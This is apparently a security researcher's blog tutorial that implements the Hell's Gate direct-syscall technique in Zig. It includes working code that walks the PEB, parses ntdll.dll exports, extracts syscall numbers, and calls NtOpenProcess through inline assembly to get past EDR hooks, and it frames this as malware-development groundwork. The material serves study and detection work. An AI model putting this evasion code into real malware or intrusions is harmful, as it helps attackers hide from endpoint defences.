Introduction
Table of Contents
Hello, fellow Zig programming enthusiasts! In this blog post, I’ll walk you through the process of implementing of well-known and classic technique “Hell’s Gate ” —a method for making direct Windows system calls by extracting syscall numbers from ntdll.dll.
Hell’s Gate is popular in malware for evading API monitoring, as it used to bypass traditional API calls. however, it is not yet an affective method now days.
Through the process of coding it in Zig, I heavily depended on open source project and the original code base shared by the original authors. since Zig is modern language, I decided to check recent shared code like Rust. and I found a very nice blogpost for that. The Rust code comes from the following this GitHub repository.
In this blog post, we’ll walk through how to implement this technique in Zig, tackling key challenges such as inline assembly, pointer management, and PE parsing. We’ll also share our approach to debugging tricky runtime errors. By the end, you’ll not only have a fully functional Zig version but also a deeper understanding of cross-language, low-level programming.
The purpose of this write-up is purely educational—to demonstrate how the method can be implemented in Zig, highlighting the language’s low-level capabilities and the challenges involved.
What is Hell’s Gate?
Hell’s Gate is a technique published by VX Underground devs and it is used to bypass user-mode hooks by calling Windows syscalls directly, it scans ntdll.dll at runtime to extract syscall numbers (SSNs) and then invoke those syscalls instead of routing hooked API stubs . While Hell’s Gate is considered a classic technique and is well-documented in the security community, it is also widely detected by modern security solutions nowdays.
The process involves:
- Traversing the Process Environment Block (PEB) to locate the base address of ntdll.dll without calling standard Windows APIs.
- Parsing the PE (Portable Executable) headers of ntdll.dll to identify the location of its export table.
- Extracting the syscall number (SSN) directly from the target function’s machine code (for example, reading bytes 4–5 in the function prologue).
- Invoking the syscall directly using inline assembly, bypassing the normal API call path.
This approach is particularly useful in understanding how endpoint detection and response (EDR) solutions hook or patch functions in ntdll.dll to monitor suspicious activity. By avoiding the hooked export table and calling the syscall directly, Hell’s Gate can execute system calls with minimal interference.
Overview of the Code
The implementation includes:
- PEB Traversal: Uses inline assembly to load the PEB, LDR, and module list from the GS register.
- Module Base Lookup: Iterates through loaded modules to find ntdll.dll’s base address.
- Export Parsing: Reads DOS/NT headers, locates the export directory, and searches for the function name (e.g., “NtOpenProcess”).
- SSN Extraction: Reads bytes from the function address to get the syscall number.
- Direct Syscall: Uses inline assembly to call
NtOpenProcess
with the SSN. - Exception Handling: Sets a custom filter for debugging. this helps to handle and understand unexpected errors.
Hell’s Gate with Zig: Step by Step
Zig is great for low-level work due to its C interoperability, CompTime features, and safety without runtime overhead.
1. Defining Structures
Zig have a built-in Windows SDK like Rust’s Windows
crate, Zig ships with headers and important libraries for the Windows API, that means you target windows without needing to separately install the Microsoft SDK or Visual studio.
Personally, I leverage these built-in functions from Windows crate from time to time but when it comes to offensive security tooling development, and Malware development in specific , I prefer to define extern structs for PE headers, external API calls, defined constants. it just a poison I like or forced to pick.
For the purpose of this code example, we are going to use the OpenProcess function, but this can be extended across any windows API function – which we will cover in the upcoming blogpost parts.
First, we need to reconstruct the data structure according to Kernel Windows API, based on the following documentations (https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess).
The original C++ code shows that the API requires 4 parameters that need to be defined and declared, and that is not included in Zig library.
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess( [out] PHANDLE ProcessHandle, [in] ACCESS_MASK DesiredAccess, [in] POBJECT_ATTRIBUTES ObjectAttributes, [in, optional] PCLIENT_ID ClientId );
The following Zig version of the API call, matches the expected signature including PHANDLE type which is same as *win32.HANDLE in Zig.
fn nt_open_process( process_handle: *win32.HANDLE, desired_access: u32, object_attributes: *OBJECT_ATTRIBUTES, client_id: *CLIENT_ID, ssn: u32, ) u32 { var status: u32 = 0;
We still need to define structs for the remaining parameters: OBJECT_ATTRIBUTES
and CLIENT_ID
.
const OBJECT_ATTRIBUTES = extern struct { length: u32, root_directory: ?win32.HANDLE, object_name: ?*const UNICODE_STRING, attributes: u32, security_descriptor: ?*const anyopaque, security_quality_of_service: ?*const anyopaque, }; const CLIENT_ID = extern struct { unique_process: *anyopaque, unique_thread: ?*anyopaque, };
Based on struct definition for CLIENT_ID, we can still use win32.HANDLE which is usually defined as void (or more technically PVOID)
Zig does not have void. instead it uses anyopaque to mean.” a pointer to some unknown type”. additionally, since in Windows HANDLE can also be NULL, Zig model it as an optional pointer ?*anyopaque.
In our code, we use these model opaque pointers in Zig structs. for *anyopaque pointer type, you can’t dereference it, you can only cast or compare it, and it is non-nullable. (must always be non-null).
However, ?*anyopaque pointer is same but it can be null .
2. PEB Traversal and Module Base Lookup
As stated before, Hell’s Gate is technique that search the ntdll.dll module for a number of bytes (Syscall stub) to extract the system call numbers that is used to call system APIs directly (Direct Syscalls).
Starting with first step, we need to code a function that get the address of the PEB, and then after that go through the PEB and search the module to resolve base address of ntdll.dll.
In Zig, we can use win32.peb which is much more idiomatic and safe than raw assembly – another way we also did it for ease of curiosity.
Zig’s Windows bindings provide a clean, type-safe way to access the PEB and traverse the module list. Let me show you how to implement such a function:
pub fn get_ntdll_base(module_name: []const u8) ?*anyopaque { const peb = win32.peb(); std.debug.print("[] module_name: {s}\n", .{module_name}); var list_entry = peb.Ldr.InMemoryOrderModuleList.Flink; while (true) { const module: *const win32.LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", list_entry); if (module.BaseDllName.Buffer) |buffer| { var dll_name: [256]u8 = undefined; var i: usize = 0; while (i < module.BaseDllName.Length / @sizeOf(win32.WCHAR) and i < 255) { dll_name[i] = @truncate(buffer[i]); i += 1; } dll_name[i] = 0; if (std.ascii.eqlIgnoreCase(dll_name[0..i], module_name)) { return module.DllBase; } } list_entry = list_entry.Flink; if (list_entry == &peb.Ldr.InMemoryOrderModuleList) break; } return null; }
Windows maintains this linked list in the PEB to track all loaded modules, by walking through it, you can find any loaded module by name and get its base address. get_ntdll_base function directly get the Flink address which is a forward link that points to the first actual module entry in the list (InMemoryOrderModuleList) and then walkthrough the PEB to retrieve the module name and base address of ntdll.dll.
Additionally, I have explored another method to get the PEB using inline-assembly, it was personal decision to explore Zig potential of this method compared with Rust implementation for Hell’s Gate.
pub fn get_module_base(module_name: []const u8) ?*anyopaque { var peb: usize = 0; var ldr: usize = 0; var modules_list: usize = 0; var current_entry: usize = 0; asm volatile ( \\ movq %%gs:0x60, %[peb] \\ movq 0x18(%[peb]), %[ldr] \\ movq 0x10(%[ldr]), %[modules_list] : [peb] "=r" (peb), [ldr] "=r" (ldr), [modules_list] "=r" (modules_list), : : "memory" ); std.debug.print("[+] Found PEB and InMemoryOrderModuleList: 0x{x}\n", .{modules_list}); std.debug.print("[i] Searching for module: {s}\n", .{module_name}); current_entry = modules_list; while (true) { if (current_entry == 0) break; const dll_base_name = @as(*usize, @ptrFromInt(current_entry + 0x30)).*; const module_name_address = @as(*usize, @ptrFromInt(current_entry + 0x60)).*; const module_length = @as(*u16, @ptrFromInt(current_entry + 0x58)).*; // Length in bytes if (module_name_address != 0 and module_length > 0) { const module_name_ptr = @as([*]u16, @ptrFromInt(module_name_address)); var actual_len: usize = 0; while (actual_len * 2 < module_length and module_name_ptr[actual_len] != 0) : (actual_len += 1) {} const module_name_slice = module_name_ptr[0..actual_len]; var ascii_name: [256]u8 = undefined; const max_len = @min(module_name_slice.len, ascii_name.len); for (module_name_slice[0..max_len], 0..) |wchar, i| { ascii_name[i] = @truncate(wchar); } const ascii_name_slice = ascii_name[0..max_len]; std.debug.print("[i] Found module: 0x{x} {s}\n", .{ dll_base_name, ascii_name_slice }); if (eql_ignore_case(ascii_name_slice, module_name)) { std.debug.print("[+] Found target module: 0x{x}\n", .{dll_base_name}); return @ptrFromInt(dll_base_name); } } current_entry = @as(*usize, @ptrFromInt(current_entry)).*; if (current_entry == modules_list) break; } std.debug.print("[-] Module not found: {s}\n", .{module_name}); return null; }
3. Export Parsing and SSN Extraction
Now, we have the base address of ntdll.dll needed, we go for the next important step which is to check if the module both DOS and NT header to determine if it is valid to use or not.
Once this verified as valid, then we start searching within EAT (Export Address Table) for desired function name want to use (in our case, it is NtOpenProcess).
Let me show you how this can be achieved in Zig!
pub fn get_function_address_from_export(dll_name: []const u8, function_name: []const u8) ?*anyopaque { const dll_base = get_module_base((dll_name)); const base_addr = @intFromPtr(dll_base); std.debug.print("[DEBUG] DLL base for {s}: 0x{x}\n", .{ dll_name, base_addr }); const dos_header = @as(*const IMAGE_DOS_HEADER, @ptrFromInt(base_addr)); if (dos_header.e_magic != IMAGE_DOS_SIGNATURE) { std.debug.print("[!] Invalid DOS header\n", .{}); return null; } // const nt_header = @as(*const IMAGE_NT_HEADERS, @ptrFromInt(@intFromPtr(module_base) + @as(usize, @as(u32, @intCast(dos_header.e_lfanew))))); std.debug.print("[DEBUG] DOS header valid, e_lfanew: 0x{x}\n", .{dos_header.e_lfanew}); const nt_header = @as(*const IMAGE_NT_HEADERS64, @ptrFromInt((base_addr + dos_header.e_lfanew))); if (nt_header.signature != IMAGE_NT_SIGNATURE) { std.debug.print("[!] Invalid NT header\n", .{}); return null; } const export_dir_rva = nt_header.optional_header.data_directory[0].virtual_address; if (export_dir_rva == 0) { std.debug.print("[-] Export dir RVA is 0\n", .{}); return null; } if (export_dir_rva >= nt_header.optional_header.size_of_image) { std.debug.print("[-] Export dir RVA 0x{x} exceeds image size 0x{x}\n", .{ export_dir_rva, nt_header.optional_header.size_of_image }); return null; } std.debug.print("[DEBUG] Export dir RVA: 0x{x}\n", .{export_dir_rva}); if (export_dir_rva > std.math.maxInt(usize) - base_addr) { std.debug.print("[-] Export dir RVA overflow\n", .{}); return null; } const export_dir = @as(*const IMAGE_EXPORT_DIRECTORY, @ptrFromInt(base_addr + export_dir_rva)).*; // const export_dir = @as(*const IMAGE_EXPORT_DIRECTORY, @ptrFromInt(nt_header.optional_header.data_directory[0].virtual_address)); //const export_dir = @ptrFromInt(*IMAGE_EXPORT_DIRECTORY, @ptrFromInt(base_addr) + nt_header.optional_header.data_directory[0].virtual_address); // let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32; // Calculate export dir address with overflow check if (export_dir_rva > std.math.maxInt(usize) - base_addr) { std.debug.print("[-] Export dir RVA overflow\n", .{}); return null; } const export_dir_ptr = @as(?*const IMAGE_EXPORT_DIRECTORY, @ptrFromInt(base_addr + export_dir_rva)); if (export_dir_ptr == null) { std.debug.print("[-] Null export dir pointer\n", .{}); return null; } // const export_dir = export_dir_ptr.*; std.debug.print("[DEBUG] Export dir loaded, number_of_names: {}\n", .{export_dir.number_of_names}); const name_address = @as(?[*]u32, @ptrFromInt((base_addr + export_dir.address_of_names))); const name_ordinals = @as(?[*]u16, @ptrFromInt((base_addr + export_dir.address_of_name_ordinals))); const function_addresses = @as(?[*]u32, @ptrFromInt(base_addr + export_dir.address_of_functions)); if (name_address == null or name_ordinals == null or function_addresses == null) { std.debug.print("[-] Null export array pointer\n", .{}); return null; } //search for the function name // for i in 0..number_of_names std.debug.print("[+] Export directory: {}\n", .{export_dir.number_of_names}); for (0..export_dir.number_of_names) |i| { const name_rva = name_address.?[i]; const name_ptr = @as(?[*]u8, @ptrFromInt((base_addr + name_rva))); if (name_ptr == null) continue; // Find name length safely var name_len: usize = 0; while (name_len < 256 and name_ptr.?[name_len] != 0) : (name_len += 1) {} // Cap at 256 to prevent infinite loop const name_slice = name_ptr.?[0..name_len]; if (std.mem.eql(u8, name_slice, function_name)) { const ordinal = name_ordinals.?[i]; if (ordinal >= export_dir.number_of_functions) { std.debug.print("[-] Invalid ordinal: {}\n", .{ordinal}); continue; } const function_rva = function_addresses.?[ordinal]; const function_addr = @as(*anyopaque, @ptrFromInt((base_addr + function_rva))); std.debug.print("[+] Found function: {s} at 0x{x}\n", .{ function_name, @intFromPtr(function_addr) }); return function_addr; } } std.debug.print("[!] Function not found: {s}\n", .{function_name}); return null; }
The previous function returns the function address, and then we can include it in our get_ssn code main function.
The get_ssn
function takes the dll_name
parameter, supplies it to the EAT parsing function, and then stores the return address of the resolved function, as shown below:
pub fn get_ssn(dll_name: []const u8, function_name: []const u8) ?u32 { const function_addr = get_function_address_from_export(dll_name, function_name) orelse return null; const addr = @intFromPtr(function_addr);
The following Zig code uses @ptrFromInt(addr + 4)
and @ptrFromInt(addr + 5)
cast to *const u8
and dereferenced to load two individual bytes from memory. These correspond to the first two bytes of the little-endian immediate operand of the mov eax, imm32
instruction inside an ntdll
Syscall stub (low byte at addr + 4
, high byte at addr + 5
). Each byte is widened to u32
and combined with (@as(u32, byte5) << 8) | @as(u32, byte4)
to reconstruct the 16-bit syscall number (returned as a u32
).
const byte4 = @as(*const u8, @ptrFromInt(addr + 4)).*; const byte5 = @as(*const u8, @ptrFromInt(addr + 5)).*; const ssn = (@as(u32, byte5) << 8) | @as(u32, byte4); return ssn;
For example, lets take the following syscall stub example layout (x64):
mov r10, rcx ; 4C 8B D1 mov eax, imm32 ; B8 xx xx xx xx <- SSN (system service number) syscall ; 0F 05 ret ; C3
So, the memory layout at the beginning of the function appears as follows:
4C 8B D1 B8 XX XX XX XX 0F 05 C3
Lets assume we have the following stub bytes:
4C 8B D1 B8 23 01 00 00 0F 05 C3
At the beginning of the function, two bytes are read from memory: one at addr + 4
, which is stored in byte4
, and another at addr + 5
, stored in byte5
. These are interpreted as unsigned 8-bit integers (u8
). To reconstruct a 16-bit value, the function casts both bytes to u32
, shifts byte5
(the high byte) left by 8 bits, and then performs a bitwise OR with byte4
(the low byte). This operation effectively combines the two bytes into a single 16-bit value, stored in ssn
, which is then returned.
4. Combining all together.
For now, our program have a defined structure that includes APIs calls , types and structs, additionally, we managed to get the correct access into the PEB, retrieve the base address of ntdll.dll and walkthrough the EAT to extract for a function return address then dynamically resolve the SSN.
In Zig, we can use inline-assembly to write raw assembly which we need to write into the binary to invoke our Syscall function as shown in the code below:
fn nt_open_process(process_handle: *win32.HANDLE, desired_access: u32, object_attributes: *OBJECT_ATTRIBUTES, client_id: *CLIENT_ID, ssn: u32) u32 { var status: u32 = 0; asm volatile ( \\ mov r10, rcx \\ mov eax, %[ssn] \\ syscall : [status] "={rax}" (status) : [ssn] "r" (ssn), [process_handle] "{rcx}" (process_handle), [desired_access] "{rdx}" (desired_access), [object_attributes] "{r8}" (object_attributes), [client_id] "{r9}" (client_id) : "r10", "memory" ); return status; }
The previous code highlights the following parameters:
move eax, %[ssn]
will move the Syscall number into EAX.status
the result will be moved into RAXrcx,rdx,r8,r9
these will add the required variables into correct registers for example RCX holds the process handle which is the first argument and so on.
After that, we can wrap up the final main function as shown below:
pub fn main() !void { // ... allocator and PID parsing ... const ssn = get_ssn("ntdll.dll", "NtOpenProcess") orelse return; var process_handle: win32.HANDLE = undefined; var object_attributes = OBJECT_ATTRIBUTES{ /* ... */ }; var client_id = CLIENT_ID{ /* ... */ }; const status = nt_open_process(&process_handle, PROCESS_ALL_ACCESS, &object_attributes, &client_id, ssn); if (status == 0) { std.debug.print("[+] Success!\n", .{}); } else { std.debug.print("[-] Failed: 0x{x}\n", .{status}); } }
Finally, we reproduce the Hell’s Gate technique in Zig and the following screenshots shows that we were able to extract the correct SSN number for NtOpenProcess
.

You can get the complete source code by checking the following repository.
Troubleshooting Challenges and Lessons Learned
During the code writing and implementation, we encountered:
- Inline Assembly Syntax: Zig uses AT&T, Rust uses Intel—added size suffixes (e.g.,
movq
) to fix “unknown mnemonic” errors. but thats only if you are interested to use raw assembly to access PEB. - Pointer Nullability: Many errors like “comparison of ‘[*]T’ with null” fixed by using nullable types (
?[*]T
). I need to spend more time looking into these! but it is fun at the end - PE Structure Mismatches: Used 64-bit headers only to fix an issue with RVA as I was always getting 0 results.
- Runtime Crashes: Added null checks, bounds validation, and debug prints to catch faults. This helped me to spot the RVA error I mentioned before.
Zig’s type system catches errors at compile time, but low-level code requires careful pointer management. Always validate.
Conclusion
This Zig implementation of Hell’s Gate is now complete and stable. We successfully defined the necessary types and leveraged Zig’s low-level capabilities to navigate the Process Environment Block (PEB), locate the base address of functions within ntdll.dll, and perform direct syscalls using inline assembly. The result is a working proof of concept that demonstrates the technique in action.
In the next blog post, we’ll take this further—exploring advanced applications, extending the method, adopt encryption and showing how it can be used to execute shellcode.

Offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking security, coder and maintainer of many other open-source projects.